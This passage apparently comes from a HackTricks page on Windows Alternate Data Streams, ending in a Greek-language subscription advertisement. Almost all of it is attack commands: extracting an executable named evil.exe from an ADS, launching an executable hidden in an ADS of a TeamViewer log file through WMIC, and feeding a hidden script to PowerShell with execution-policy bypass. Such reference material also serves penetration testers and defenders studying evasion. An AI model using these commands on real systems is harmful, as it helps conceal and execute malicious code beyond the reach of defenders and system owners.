expand c:\ads\file.txt:test.exe c:\temp\evil.exe
### Executing ADS Content ###
# Execute an executable stored in an ADS using WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
# Execute a script stored in an ADS using PowerShell
powershell -ep bypass - < c:\temp:ttt
Εργάζεστε σε μια εταιρεία κυβερνοασφάλειας; Θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks; Ή θέλετε να έχετε πρόσβαση στην τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF; Ελέγξτε τα ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ!